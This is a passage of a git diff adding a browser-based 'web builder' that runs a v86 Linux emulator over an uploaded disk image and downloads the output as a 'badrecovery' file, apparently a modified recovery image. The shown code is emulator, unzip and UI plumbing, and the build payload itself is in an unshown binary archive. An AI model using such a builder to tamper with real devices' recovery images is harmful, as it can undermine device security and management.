Hb;g.type=a;g.start=b;g.length=c;g.proc_id=d;g.client_id=e;return g};Z.prototype.GetLock=function(a,b){a=this.inodes[a];if(this.is_forwarder(a)){var c=a.foreign_id;return this.follow_fs(a).GetLock(c,b)}for(c of a.locks)if(b.conflicts_with(c))return c.clone();return null}; +Z.prototype.Lock=function(a,b,c){const d=this.inodes[a];if(this.is_forwarder(d))return a=d.foreign_id,this.follow_fs(d).Lock(a,b,c);b=b.clone();if(2!==b.type&&this.GetLock(a,b))return 1;for(c=0;c=g&&0=g&&(d.locks.splice(c,1),c--)}if(2!==b.type){c=b;a=!1;for(e=0;e"."!==b&&".."!==b)};Z.prototype.read_file=function(a){a=this.SearchPath(a);if(-1===a.id)return Promise.resolve(null);const b=this.GetInode(a.id);return this.Read(a.id,0,b.size)};var y={Debug:function(a){[].slice.apply(arguments).join(" ")},Abort:function(){}};var v={Marshall:function(a,b,c,d){for(var e,g=0,f=0;f>8&255;c[d++]=e>>16&255;c[d++]=e>>24&255;g+=4;break;case "d":c[d++]=e&255;c[d++]=e>>8&255;c[d++]=e>>16&255;c[d++]=e>>24&255;c[d++]=0;c[d++]=0;c[d++]=0;c[d++]=0;g+=8;break;case "h":c[d++]=e&255;c[d++]=e>>8;g+=2;break;case "b":c[d++]=e;g+=1;break;case "s":var k=d,l=0;c[d++]=0;c[d++]=0;g+=2;for(var m of e)Kb(m.charCodeAt(0)).forEach(function(n){c[d++]=n;g+=1;l++});c[k+0]=l&255;c[k+1]= +l>>8&255;break;case "Q":v.Marshall(["b","w","d"],[e.type,e.version,e.path],c,d);d+=13;g+=13;break;default:y.Debug("Marshall: Unknown type="+a[f])}return g},Unmarshall:function(a,b,c){let d=c.offset;for(var e=[],g=0;g>>0;e.push(f);break;case "d":f=b[d++];f+=b[d++]<<8;f+=b[d++]<<16;f+=b[d++]<<24>>>0;d+=4;e.push(f);break;case "h":f=b[d++];e.push(f+(b[d++]<<8));break;case "b":e.push(b[d++]);break;case "s":f=b[d++]; +f+=b[d++]<<8;for(var k="",l=new Lb,m=0;m= 400) { + if (fail) fail(req.status); + } else { + if (success) success(this.response); + } + } + req.onprogress = function(e) { + if (e.lengthComputable) updateLoadProgress(url, e.loaded / e.total); + } + req.onerror = function() { + if (fail) fail("unknown"); + } + req.send(); + }); +} + +async function fetchWebBuilderTar() { + console.log("fetching webbuilder.tar.zip"); + var webBuilderTarZip = await progressFetch("assets/webbuilder.tar.zip"); + var webBuilderTar = await unzipFile(webBuilderTarZip); + return webBuilderTar; +} + +function sleep(ms) { + return new Promise(function(resolve) { + setTimeout(resolve, ms); + }); +} + +async function growBlob(blob, size) { + var totalAddedSize = size - blob.size; + var totalSizeToAdd = totalAddedSize; + var err = false; + while (totalSizeToAdd > 0) { + var addedSize = Math.min(totalAddedSize, maxSingleAlloc); + try { + blob = new Blob([blob, new ArrayBuffer(addedSize)]); + } catch (e) { + console.error(e); + err = true; + break; + } + totalSizeToAdd -= addedSize; + updateLoadProgress("(growing blob)", Math.min(1, 1 - (totalSizeToAdd / totalAddedSize))); + await sleep(0); + } + if (err) builderOutputIO.print("\r\nWarning: failed to grow blob...\r\n"); + return blob; +} + +async function doneBuilding() { + console.log("done building"); + var finalSizeFile = await emulator.read_file("/finalsize"); + var finalBytes = parseInt(new TextDecoder().decode(finalSizeFile)); + console.log("final bytes: " + finalBytes); + var blob = emulator.disk_images.hda.get_as_file().slice(0, finalBytes, "application/octet-stream"); + downloadButton.download = "badrecovery_" + getTime() + "_" + uploadedName; + downloadButton.href = URL.createObjectURL(blob); + downloadButton.style.display = "block"; + downloadButton.click(); +} + +function updateLoadProgress(name, percent) { + if (name != curLoadingFile) { + if (curLoadingFile.length) builderOutputIO.print("\n"); + curLoadingFile = name; + } + builderOutputIO.print("\rLoading " + name + " " + Math.round(percent * 100) + "% "); +} + +async function initFromFile(file) { + uploadedName = file.name; + if (file.size < minDiskSize) file = new File([await growBlob(file, minDiskSize)], file.name); + builderOptions.querySelectorAll("input, select").forEach(e => e.setAttribute("disabled", "")); + startButton.style.display = "none"; + linuxOutput.textContent = "Loading..."; + displayContainer.style.display = "block"; + console.log("creating emulator..."); + window.emulator = new V86Starter({ + wasm_path: "assets/v86.wasm", + memory_size: 512 * 1024 * 1024, + vga_memory_size: 2 * 1024 * 1024, + screen_container: document.getElementById("screen_container"), + bios: { + url: "assets/seabios.bin" + }, + vga_bios: { + url: "assets/vgabios.bin" + }, + bzimage: { + url: "assets/bzImage" + }, + initrd: { + url: "assets/rootfs.cpio.gz" + }, + hda: { + buffer: file + }, + filesystem: {}, + autostart: false + }); + emulator.add_listener("download-progress", function(p) { + if (p.lengthComputable) updateLoadProgress(p.file_name, p.loaded / p.total); + }); + emulator.add_listener("emulator-ready", async function() { + var optsBool = Array.from(builderOptions.querySelectorAll("input[type=checkbox]")); + for (var i = 0; i < optsBool.length; i++) { + if (optsBool[i].checked) await emulator.create_file("/opt." + optsBool[i].name, new Uint8Array()); + } + var optsText = Array.from(builderOptions.querySelectorAll("select")); + for (var i = 0; i < optsText.length; i++) { + if (optsText[i].value) await emulator.create_file("/opt." + optsText[i].name, new TextEncoder().encode(optsText[i].value)); + } + await emulator.create_file("/web.tar", await fetchWebBuilderTar()); + console.log("running..."); + emulator.run(); + }); + emulator.add_listener("serial0-output-byte", async function(byte) { + builderOutputIO.writeUTF8(new Uint8Array([byte])); + builderTextOut += String.fromCharCode(byte); + if (builderTextOut.endsWith("Done building!")) { + building = false; + doneBuilding(); + } + }); + function writeData(str) { + emulator.serial0_send(str); + } + builderOutputIO.onVTKeystroke = writeData; + builderOutputIO.sendString = writeData; + building = true; +} + +function loadWebBuilder() { + builderOutput = new hterm.Terminal({storage: new lib.Storage.Memory()}); + builderOutput.decorate(document.getElementById("builderOutput")); + builderOutput.installKeyboard(); + builderOutput.onTerminalReady = function() { + builderOutput.setFontSize(13); + builderOutputIO = builderOutput.io.push(); + builderOutputIO.print("\x1b[?25l"); + startButton.addEventListener("click", function() { + uploadFile(".bin, .img", initFromFile); + }, false); + startButton.classList.remove("disabled"); + } +} + +window.addEventListener("load", loadWebBuilder, false); +window.onbeforeunload = function() { + if (building) return true; +} diff --git a/assets/webbuilder.tar.zip b/assets/webbuilder.tar.zip new file mode 100644 index 0000000..945c660 Binary files /dev/null and b/assets/webbuilder.tar.zip differ diff --git a/assets/zip.min.js b/assets/zip.min.js new file mode 100644 index 0000000..78a5ddd --- /dev/null +++ b/assets/zip.min.js @@ -0,0 +1 @@ +((e,t)=>{"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e||self).zip={})})(this,(function(e){"use strict";const{Array:t,Object:n,String:r,Number:s,BigInt:i,Math:a,Date:o,Map:c,Set:l,Response:u,URL:f,Error:d,Uint8Array:w,Uint16Array:p,Uint32Array:h,DataView:g,Blob:m,Promise:y,TextEncoder:b,TextDecoder:S,document:k,crypto:z,btoa:v,TransformStream:x,ReadableStream:A,WritableStream:_,CompressionStream:C,DecompressionStream:D,navigator:W,Worker:R}="undefined"!=typeof globalThis?globalThis:this||self,F=4294967295,E=65535,T=67324752,L=134695760,U=33639248,I=101075792,N=117853008,q=22,O=21589,P=2048,H="/",M=new o(2107,11,31),B=new o(1980,0,1),V=void 0,Z="undefined",K="function";class G{constructor(e){return class extends x{constructor(t,n){const r=new e(n);super({transform(e,t){t.enqueue(r.append(e))},flush(e){const t=r.flush();t&&e.enqueue(t)}})}}}}let X=2;try{typeof W!=Z&&W.hardwareConcurrency&&(X=W.hardwareConcurrency)}catch(e){}const Y={chunkSize:524288,maxWorkers:X,terminateWorkerTimeout:5e3,useWebWorkers:!0,useCompressionStream:!0,workerScripts:V,CompressionStreamNative:typeof C!=Z&&C,DecompressionStreamNative:typeof D!=Z&&D},j=n.assign({},Y);function J(){return j}function Q(e){return a.max(e.chunkSize,64)}function $(e){const{baseURL:n,chunkSize:r,maxWorkers:s,terminateWorkerTimeout:i,useCompressionStream:a,useWebWorkers:o,Deflate:c,Inflate:l,CompressionStream:u,DecompressionStream:f,workerScripts:w}=e;if(ee("baseURL",n),ee("chunkSize",r),ee("maxWorkers",s),ee("terminateWorkerTimeout",i),ee("useCompressionStream",a),ee("useWebWorkers",o),c&&(j.CompressionStream=new G(c)),l&&(j.DecompressionStream=new G(l)),ee("CompressionStream",u),ee("DecompressionStream",f),w!==V){const{deflate:e,inflate:n}=w;if((e||n)&&(j.workerScripts||(j.workerScripts={})),e){if(!t.isArray(e))throw new d("workerScripts.deflate must be an array");j.workerScripts.deflate=e}if(n){if(!t.isArray(n))throw new d("workerScripts.inflate must be an array");j.workerScripts.inflate=n}}}function ee(e,t){t!==V&&(j[e]=t)}function te(e,t,r){return class{constructor(s){const i=this;var a,o;a=s,o="level",(typeof n.hasOwn===K?n.hasOwn(a,o):a.hasOwnProperty(o))&&s.level===V&&delete s.level,i.codec=new e(n.assign({},t,s)),r(i.codec,(e=>{if(i.pendingData){const t=i.pendingData;i.pendingData=new w(t.length+e.length);const{pendingData:n}=i;n.set(t,0),n.set(e,t.length)}else i.pendingData=new w(e)}))}append(e){return this.codec.push(e),s(this)}flush(){return this.codec.push(new w,!0),s(this)}};function s(e){if(e.pendingData){const t=e.pendingData;return e.pendingData=null,t}return new w}}const ne=[];for(let e=0;256>e;e++){let t=e;for(let e=0;8>e;e++)1&t?t=t>>>1^3988292384:t>>>=1;ne[e]=t}class re{constructor(e){this.crc=e||-1}append(e){let t=0|this.crc;for(let n=0,r=0|e.length;r>n;n++)t=t>>>8^ne[255&(t^e[n])];this.crc=t}get(){return~this.crc}}class se extends x{constructor(){let e;const t=new re;super({transform(e,n){t.append(e),n.enqueue(e)},flush(){const n=new w(4);new g(n.buffer).setUint32(0,t.get()),e.value=n}}),e=this}}function ie(e){if(typeof b==Z){const t=new w((e=unescape(encodeURIComponent(e))).length);for(let n=0;n0&&t&&(e[n-1]=ae.partial(t,e[n-1]&2147483648>>t-1,1)),e},partial:(e,t,n)=>32===e?t:(n?0|t:t<<32-e)+1099511627776*e,getPartial:e=>a.round(e/1099511627776)||32,_shiftRight(e,t,n,r){for(void 0===r&&(r=[]);t>=32;t-=32)r.push(n),n=0;if(0===t)return r.concat(e);for(let s=0;s>>t),n=e[s]<<32-t;const s=e.length?e[e.length-1]:0,i=ae.getPartial(s);return r.push(ae.partial(t+i&31,t+i>32?n:r.pop(),1)),r}},oe={bytes:{fromBits(e){const t=ae.bitLength(e)/8,n=new w(t);let r;for(let s=0;t>s;s++)0==(3&s)&&(r=e[s/4]),n[s]=r>>>24,r<<=8;return n},toBits(e){const t=[];let n,r=0;for(n=0;n9007199254740991)throw new d("Cannot hash more than 2^53 - 1 bits");const i=new h(n);let a=0;for(let e=t.blockSize+r-(t.blockSize+r&t.blockSize-1);s>=e;e+=t.blockSize)t._block(i.subarray(16*a,16*(a+1))),a+=1;return n.splice(0,16*a),t}finalize(){const e=this;let t=e._buffer;const n=e._h;t=ae.concat(t,[ae.partial(1,1)]);for(let e=t.length+2;15&e;e++)t.push(0);for(t.push(a.floor(e._length/4294967296)),t.push(0|e._length);t.length;)e._block(t.splice(0,16));return e.reset(),n}_f(e,t,n,r){return e>19?e>39?e>59?e>79?void 0:t^n^r:t&n|t&r|n&r:t^n^r:t&n|~t&r}_S(e,t){return t<>>32-e}_block(e){const n=this,r=n._h,s=t(80);for(let t=0;16>t;t++)s[t]=e[t];let i=r[0],o=r[1],c=r[2],l=r[3],u=r[4];for(let e=0;79>=e;e++){16>e||(s[e]=n._S(1,s[e-3]^s[e-8]^s[e-14]^s[e-16]));const t=n._S(5,i)+n._f(e,o,c,l)+u+s[e]+n._key[a.floor(e/20)]|0;u=l,l=c,c=n._S(30,o),o=i,i=t}r[0]=r[0]+i|0,r[1]=r[1]+o|0,r[2]=r[2]+c|0,r[3]=r[3]+l|0,r[4]=r[4]+u|0}},le={getRandomValues(e){const t=new h(e.buffer),n=e=>{let t=987654321;const n=4294967295;return()=>(t=36969*(65535&t)+(t>>16)&n,(((t<<16)+(e=18e3*(65535&e)+(e>>16)&n)&n)/4294967296+.5)*(a.random()>.5?1:-1))};for(let r,s=0;snew ue.hmacSha1(oe.bytes.toBits(e)),pbkdf2(e,t,n,r){if(n=n||1e4,0>r||0>n)throw new d("invalid params to pbkdf2");const s=1+(r>>5)<<2;let i,a,o,c,l;const u=new ArrayBuffer(s),f=new g(u);let w=0;const p=ae;for(t=oe.bytes.toBits(t),l=1;(s||1)>w;l++){for(i=a=e.encrypt(p.concat(t,[l])),o=1;n>o;o++)for(a=e.encrypt(a),c=0;cw&&os&&(e=(new n).update(e).finalize());for(let t=0;s>t;t++)r[0][t]=909522486^e[t],r[1][t]=1549556828^e[t];t._baseHash[0].update(r[0]),t._baseHash[1].update(r[1]),t._resultHash=new n(t._baseHash[0])}reset(){const e=this;e._resultHash=new e._hash(e._baseHash[0]),e._updated=!1}update(e){this._updated=!0,this._resultHash.update(e)}digest(){const e=this,t=e._resultHash.finalize(),n=new e._hash(e._baseHash[1]).update(t).finalize();return e.reset(),n}encrypt(e){if(this._updated)throw new d("encrypt on already updated hmac called!");return this.update(e),this.digest(e)}}},fe=typeof z!=Z&&typeof z.getRandomValues==K,de="Invalid password",we="Invalid signature",pe="zipjs-abort-check-password";function he(e){return fe?z.getRandomValues(e):le.getRandomValues(e)}const ge=16,me={name:"PBKDF2"},ye=n.assign({hash:{name:"HMAC"}},me),be=n.assign({iterations:1e3,hash:{name:"SHA-1"}},me),Se=["deriveBits"],ke=[8,12,16],ze=[16,24,32],ve=10,xe=[0,0,0,0],Ae=typeof z!=Z,_e=Ae&&z.subtle,Ce=Ae&&typeof _e!=Z,De=oe.bytes,We=class{constructor(e){const t=this;t._tables=[[[],[],[],[],[]],[[],[],[],[],[]]],t._tables[0][0][0]||t._precompute();const n=t._tables[0][4],r=t._tables[1],s=e.length;let i,a,o,c=1;if(4!==s&&6!==s&&8!==s)throw new d("invalid aes key size");for(t._key=[a=e.slice(0),o=[]],i=s;4*s+28>i;i++){let e=a[i-1];(i%s==0||8===s&&i%s==4)&&(e=n[e>>>24]<<24^n[e>>16&255]<<16^n[e>>8&255]<<8^n[255&e],i%s==0&&(e=e<<8^e>>>24^c<<24,c=c<<1^283*(c>>7))),a[i]=a[i-s]^e}for(let e=0;i;e++,i--){const t=a[3&e?i:i-4];o[e]=4>=i||4>e?t:r[0][n[t>>>24]]^r[1][n[t>>16&255]]^r[2][n[t>>8&255]]^r[3][n[255&t]]}}encrypt(e){return this._crypt(e,0)}decrypt(e){return this._crypt(e,1)}_precompute(){const e=this._tables[0],t=this._tables[1],n=e[4],r=t[4],s=[],i=[];let a,o,c,l;for(let e=0;256>e;e++)i[(s[e]=e<<1^283*(e>>7))^e]=e;for(let u=a=0;!n[u];u^=o||1,a=i[a]||1){let i=a^a<<1^a<<2^a<<3^a<<4;i=i>>8^255&i^99,n[u]=i,r[i]=u,l=s[c=s[o=s[u]]];let f=16843009*l^65537*c^257*o^16843008*u,d=257*s[i]^16843008*i;for(let n=0;4>n;n++)e[n][u]=d=d<<24^d>>>8,t[n][i]=f=f<<24^f>>>8}for(let n=0;5>n;n++)e[n]=e[n].slice(0),t[n]=t[n].slice(0)}_crypt(e,t){if(4!==e.length)throw new d("invalid aes block size");const n=this._key[t],r=n.length/4-2,s=[0,0,0,0],i=this._tables[t],a=i[0],o=i[1],c=i[2],l=i[3],u=i[4];let f,w,p,h=e[0]^n[0],g=e[t?3:1]^n[1],m=e[2]^n[2],y=e[t?1:3]^n[3],b=4;for(let e=0;r>e;e++)f=a[h>>>24]^o[g>>16&255]^c[m>>8&255]^l[255&y]^n[b],w=a[g>>>24]^o[m>>16&255]^c[y>>8&255]^l[255&h]^n[b+1],p=a[m>>>24]^o[y>>16&255]^c[h>>8&255]^l[255&g]^n[b+2],y=a[y>>>24]^o[h>>16&255]^c[g>>8&255]^l[255&m]^n[b+3],b+=4,h=f,g=w,m=p;for(let e=0;4>e;e++)s[t?3&-e:e]=u[h>>>24]<<24^u[g>>16&255]<<16^u[m>>8&255]<<8^u[255&y]^n[b++],f=h,h=g,g=m,m=y,y=f;return s}},Re=class{constructor(e,t){this._prf=e,this._initIv=t,this._iv=t}reset(){this._iv=this._initIv}update(e){return this.calculate(this._prf,e,this._iv)}incWord(e){if(255==(e>>24&255)){let t=e>>16&255,n=e>>8&255,r=255&e;255===t?(t=0,255===n?(n=0,255===r?r=0:++r):++n):++t,e=0,e+=t<<16,e+=n<<8,e+=r}else e+=1<<24;return e}incCounter(e){0===(e[0]=this.incWord(e[0]))&&(e[1]=this.incWord(e[1]))}calculate(e,t,n){let r;if(!(r=t.length))return[];const s=ae.bitLength(t);for(let s=0;r>s;s+=4){this.incCounter(n);const r=e.encrypt(n);t[s]^=r[0],t[s+1]^=r[1],t[s+2]^=r[2],t[s+3]^=r[3]}return ae.clamp(t,s)}},Fe=ue.hmacSha1;let Ee=Ae&&Ce&&typeof _e.importKey==K,Te=Ae&&Ce&&typeof _e.deriveBits==K;class Le extends x{constructor({password:e,rawPassword:t,signed:r,encryptionStrength:s,checkPasswordOnly:i}){super({start(){n.assign(this,{ready:new y((e=>this.resolveReady=e)),password:qe(e,t),signed:r,strength:s-1,pending:new w})},async transform(e,t){const n=this,{password:r,strength:s,resolveReady:a,ready:o}=n;r?(await(async(e,t,n,r)=>{const s=await Ne(e,t,n,Pe(r,0,ke[t])),i=Pe(r,ke[t]);if(s[0]!=i[0]||s[1]!=i[1])throw new d(de)})(n,s,r,Pe(e,0,ke[s]+2)),e=Pe(e,ke[s]+2),i?t.error(new d(pe)):a()):await o;const c=new w(e.length-ve-(e.length-ve)%ge);t.enqueue(Ie(n,e,c,0,ve,!0))},async flush(e){const{signed:t,ctr:n,hmac:r,pending:s,ready:i}=this;if(r&&n){await i;const a=Pe(s,0,s.length-ve),o=Pe(s,s.length-ve);let c=new w;if(a.length){const e=Me(De,a);r.update(e);const t=n.update(e);c=He(De,t)}if(t){const e=Pe(He(De,r.digest()),0,ve);for(let t=0;ve>t;t++)if(e[t]!=o[t])throw new d(we)}e.enqueue(c)}}})}}class Ue extends x{constructor({password:e,rawPassword:t,encryptionStrength:r}){let s;super({start(){n.assign(this,{ready:new y((e=>this.resolveReady=e)),password:qe(e,t),strength:r-1,pending:new w})},async transform(e,t){const n=this,{password:r,strength:s,resolveReady:i,ready:a}=n;let o=new w;r?(o=await(async(e,t,n)=>{const r=he(new w(ke[t]));return Oe(r,await Ne(e,t,n,r))})(n,s,r),i()):await a;const c=new w(o.length+e.length-e.length%ge);c.set(o,0),t.enqueue(Ie(n,e,c,o.length,0))},async flush(e){const{ctr:t,hmac:n,pending:r,ready:i}=this;if(n&&t){await i;let a=new w;if(r.length){const e=t.update(Me(De,r));n.update(e),a=He(De,e)}s.signature=He(De,n.digest()).slice(0,ve),e.enqueue(Oe(a,s.signature))}}}),s=this}}function Ie(e,t,n,r,s,i){const{ctr:a,hmac:o,pending:c}=e,l=t.length-s;let u;for(c.length&&(t=Oe(c,t),n=((e,t)=>{if(t&&t>e.length){const n=e;(e=new w(t)).set(n,0)}return e})(n,l-l%ge)),u=0;l-ge>=u;u+=ge){const e=Me(De,Pe(t,u,u+ge));i&&o.update(e);const s=a.update(e);i||o.update(s),n.set(He(De,s),u+r)}return e.pending=Pe(t,u),n}async function Ne(e,r,s,i){e.password=null;const a=await(async(e,t,n,r,s)=>{if(!Ee)return ue.importKey(t);try{return await _e.importKey("raw",t,n,!1,s)}catch(e){return Ee=!1,ue.importKey(t)}})(0,s,ye,0,Se),o=await(async(e,t,n)=>{if(!Te)return ue.pbkdf2(t,e.salt,be.iterations,n);try{return await _e.deriveBits(e,t,n)}catch(r){return Te=!1,ue.pbkdf2(t,e.salt,be.iterations,n)}})(n.assign({salt:i},be),a,8*(2*ze[r]+2)),c=new w(o),l=Me(De,Pe(c,0,ze[r])),u=Me(De,Pe(c,ze[r],2*ze[r])),f=Pe(c,2*ze[r]);return n.assign(e,{keys:{key:l,authentication:u,passwordVerification:f},ctr:new Re(new We(l),t.from(xe)),hmac:new Fe(u)}),f}function qe(e,t){return t===V?ie(e):t}function Oe(e,t){let n=e;return e.length+t.length&&(n=new w(e.length+t.length),n.set(e,0),n.set(t,e.length)),n}function Pe(e,t,n){return e.subarray(t,n)}function He(e,t){return e.fromBits(t)}function Me(e,t){return e.toBits(t)}class Be extends x{constructor({password:e,passwordVerification:t,checkPasswordOnly:r}){super({start(){n.assign(this,{password:e,passwordVerification:t}),Ge(this,e)},transform(e,t){const n=this;if(n.password){const t=Ze(n,e.subarray(0,12));if(n.password=null,t[11]!=n.passwordVerification)throw new d(de);e=e.subarray(12)}r?t.error(new d(pe)):t.enqueue(Ze(n,e))}})}}class Ve extends x{constructor({password:e,passwordVerification:t}){super({start(){n.assign(this,{password:e,passwordVerification:t}),Ge(this,e)},transform(e,t){const n=this;let r,s;if(n.password){n.password=null;const t=he(new w(12));t[11]=n.passwordVerification,r=new w(e.length+t.length),r.set(Ke(n,t),0),s=12}else r=new w(e.length),s=0;r.set(Ke(n,e),s),t.enqueue(r)}})}}function Ze(e,t){const n=new w(t.length);for(let r=0;r>>24]),s=~e.crcKey2.get(),e.keys=[n,r,s]}function Ye(e){const t=2|e.keys[2];return je(a.imul(t,1^t)>>>8)}function je(e){return 255&e}function Je(e){return 4294967295&e}const Qe="deflate-raw";class $e extends x{constructor(e,{chunkSize:t,CompressionStream:n,CompressionStreamNative:r}){super({});const{compressed:s,encrypted:i,useCompressionStream:a,zipCrypto:o,signed:c,level:l}=e,u=this;let f,d,w=tt(super.readable);i&&!o||!c||(f=new se,w=st(w,f)),s&&(w=rt(w,a,{level:l,chunkSize:t},r,n)),i&&(o?w=st(w,new Ve(e)):(d=new Ue(e),w=st(w,d))),nt(u,w,(()=>{let e;i&&!o&&(e=d.signature),i&&!o||!c||(e=new g(f.value.buffer).getUint32(0)),u.signature=e}))}}class et extends x{constructor(e,{chunkSize:t,DecompressionStream:n,DecompressionStreamNative:r}){super({});const{zipCrypto:s,encrypted:i,signed:a,signature:o,compressed:c,useCompressionStream:l}=e;let u,f,w=tt(super.readable);i&&(s?w=st(w,new Be(e)):(f=new Le(e),w=st(w,f))),c&&(w=rt(w,l,{chunkSize:t},r,n)),i&&!s||!a||(u=new se,w=st(w,u)),nt(this,w,(()=>{if((!i||s)&&a){const e=new g(u.value.buffer);if(o!=e.getUint32(0,!1))throw new d(we)}}))}}function tt(e){return st(e,new x({transform(e,t){e&&e.length&&t.enqueue(e)}}))}function nt(e,t,r){t=st(t,new x({flush:r})),n.defineProperty(e,"readable",{get:()=>t})}function rt(e,t,n,r,s){try{e=st(e,new(t&&r?r:s)(Qe,n))}catch(r){if(!t)return e;try{e=st(e,new s(Qe,n))}catch(t){return e}}return e}function st(e,t){return e.pipeThrough(t)}const it="data",at="close",ot="deflate",ct="inflate";class lt extends x{constructor(e,t){super({});const r=this,{codecType:s}=e;let i;s.startsWith(ot)?i=$e:s.startsWith(ct)&&(i=et);let a=0,o=0;const c=new i(e,t),l=super.readable,u=new x({transform(e,t){e&&e.length&&(o+=e.length,t.enqueue(e))},flush(){n.assign(r,{inputSize:o})}}),f=new x({transform(e,t){e&&e.length&&(a+=e.length,t.enqueue(e))},flush(){const{signature:e}=c;n.assign(r,{signature:e,outputSize:a,inputSize:o})}});n.defineProperty(r,"readable",{get:()=>l.pipeThrough(u).pipeThrough(c).pipeThrough(f)})}}class ut extends x{constructor(e){let t;super({transform:function n(r,s){if(t){const e=new w(t.length+r.length);e.set(t),e.set(r,t.length),r=e,t=null}r.length>e?(s.enqueue(r.slice(0,e)),n(r.slice(e),s)):t=r},flush(e){t&&t.length&&e.enqueue(t)}})}}let ft=typeof R!=Z;class dt{constructor(e,{readable:t,writable:r},{options:s,config:i,streamOptions:a,useWebWorkers:o,transferStreams:c,scripts:l},u){const{signal:f}=a;return n.assign(e,{busy:!0,readable:t.pipeThrough(new ut(i.chunkSize)).pipeThrough(new wt(t,a),{signal:f}),writable:r,options:n.assign({},s),scripts:l,transferStreams:c,terminate:()=>new y((t=>{const{worker:n,busy:r}=e;n?(r?e.resolveTerminated=t:(n.terminate(),t()),e.interface=null):t()})),onTaskFinished(){const{resolveTerminated:t}=e;t&&(e.resolveTerminated=null,e.terminated=!0,e.worker.terminate(),t()),e.busy=!1,u(e)}}),(o&&ft?gt:ht)(e,i)}}class wt extends x{constructor(e,{onstart:t,onprogress:n,size:r,onend:s}){let i=0;super({async start(){t&&await pt(t,r)},async transform(e,t){i+=e.length,n&&await pt(n,i,r),t.enqueue(e)},async flush(){e.size=i,s&&await pt(s,i)}})}}async function pt(e,...t){try{await e(...t)}catch(e){}}function ht(e,t){return{run:()=>(async({options:e,readable:t,writable:n,onTaskFinished:r},s)=>{try{const i=new lt(e,s);await t.pipeThrough(i).pipeTo(n,{preventClose:!0,preventAbort:!0});const{signature:a,inputSize:o,outputSize:c}=i;return{signature:a,inputSize:o,outputSize:c}}finally{r()}})(e,t)}}function gt(e,t){const{baseURL:r,chunkSize:s}=t;if(!e.interface){let i;try{i=((e,t,r)=>{const s={type:"module"};let i,a;typeof e==K&&(e=e());try{i=new f(e,t)}catch(t){i=e}if(mt)try{a=new R(i)}catch(e){mt=!1,a=new R(i,s)}else a=new R(i,s);return a.addEventListener("message",(e=>(async({data:e},t)=>{const{type:r,value:s,messageId:i,result:a,error:o}=e,{reader:c,writer:l,resolveResult:u,rejectResult:f,onTaskFinished:p}=t;try{if(o){const{message:e,stack:t,code:r,name:s}=o,i=new d(e);n.assign(i,{stack:t,code:r,name:s}),h(i)}else{if("pull"==r){const{value:e,done:n}=await c.read();bt({type:it,value:e,done:n,messageId:i},t)}r==it&&(await l.ready,await l.write(new w(s)),bt({type:"ack",messageId:i},t)),r==at&&h(null,a)}}catch(o){bt({type:at,messageId:i},t),h(o)}function h(e,t){e?f(e):u(t),l&&l.releaseLock(),p()}})(e,r))),a})(e.scripts[0],r,e)}catch(n){return ft=!1,ht(e,t)}n.assign(e,{worker:i,interface:{run:()=>(async(e,t)=>{let r,s;const i=new y(((e,t)=>{r=e,s=t}));n.assign(e,{reader:null,writer:null,resolveResult:r,rejectResult:s,result:i});const{readable:a,options:o,scripts:c}=e,{writable:l,closed:u}=(e=>{let t;const n=new y((e=>t=e));return{writable:new _({async write(t){const n=e.getWriter();await n.ready,await n.write(t),n.releaseLock()},close(){t()},abort:t=>e.getWriter().abort(t)}),closed:n}})(e.writable),f=bt({type:"start",scripts:c.slice(1),options:o,config:t,readable:a,writable:l},e);f||n.assign(e,{reader:a.getReader(),writer:l.getWriter()});const d=await i;return f||await l.getWriter().close(),await u,d})(e,{chunkSize:s})}})}return e.interface}let mt=!0,yt=!0;function bt(e,{worker:t,writer:n,onTaskFinished:r,transferStreams:s}){try{let{value:n,readable:r,writable:i}=e;const a=[];if(n&&(n.byteLength{const n=St.find((e=>!e.busy));if(n)return xt(n),new dt(n,e,t,h);if(St.lengthkt.push({resolve:n,stream:e,workerOptions:t})))})()).run();function h(e){if(kt.length){const[{resolve:t,stream:n,workerOptions:r}]=kt.splice(0,1);t(new dt(e,n,r,h))}else e.worker?(xt(e),((e,t)=>{const{config:n}=t,{terminateWorkerTimeout:r}=n;s.isFinite(r)&&r>=0&&(e.terminated?e.terminated=!1:e.terminateTimeout=setTimeout((async()=>{St=St.filter((t=>t!=e));try{await e.terminate()}catch(e){}}),r))})(e,t)):St=St.filter((t=>t!=e))}}function xt(e){const{terminateTimeout:t}=e;t&&(clearTimeout(t),e.terminateTimeout=null)}const At="HTTP error ",_t="HTTP Range not supported",Ct="Writer iterator completed too soon",Dt="GET",Wt="bytes",Rt=65536,Ft="writable";class Et{constructor(){this.size=0}init(){this.initialized=!0}}class Tt extends Et{get readable(){const e=this,{chunkSize:t=Rt}=e,n=new A({start(){this.chunkOffset=0},async pull(r){const{offset:s=0,size:i,diskNumberStart:o}=n,{chunkOffset:c}=this;r.enqueue(await nn(e,s+c,a.min(t,i-c),o)),c+t>i?r.close():this.chunkOffset+=t}});return n}}class Lt extends Et{constructor(){super();const e=this,t=new _({write:t=>e.writeUint8Array(t)});n.defineProperty(e,Ft,{get:()=>t})}writeUint8Array(){}}class Ut extends Tt{constructor(e){super(),n.assign(this,{blob:e,size:e.size})}async readUint8Array(e,t){const n=this,r=e+t,s=e||rt&&(i=i.slice(e,r)),new w(i)}}class It extends Et{constructor(e){super();const t=new x,r=[];e&&r.push(["Content-Type",e]),n.defineProperty(this,Ft,{get:()=>t.writable}),this.blob=new u(t.readable,{headers:r}).blob()}getData(){return this.blob}}class Nt extends Tt{constructor(e,t){super(),Ot(this,e,t)}async init(){await Pt(this,Xt,Vt),super.init()}readUint8Array(e,t){return Ht(this,e,t,Xt,Vt)}}class qt extends Tt{constructor(e,t){super(),Ot(this,e,t)}async init(){await Pt(this,Yt,Zt),super.init()}readUint8Array(e,t){return Ht(this,e,t,Yt,Zt)}}function Ot(e,t,r){const{preventHeadRequest:s,useRangeHeader:i,forceRangeRequests:a}=r;delete(r=n.assign({},r)).preventHeadRequest,delete r.useRangeHeader,delete r.forceRangeRequests,delete r.useXHR,n.assign(e,{url:t,options:r,preventHeadRequest:s,useRangeHeader:i,forceRangeRequests:a})}async function Pt(e,t,n){const{url:r,useRangeHeader:i,forceRangeRequests:a}=e;if((e=>{const{baseURL:t}=J(),{protocol:n}=new f(e,t);return"http:"==n||"https:"==n})(r)&&(i||a)){const{headers:r}=await t(Dt,e,Mt(e));if(!a&&r.get("Accept-Ranges")!=Wt)throw new d(_t);{let i;const a=r.get("Content-Range");if(a){const 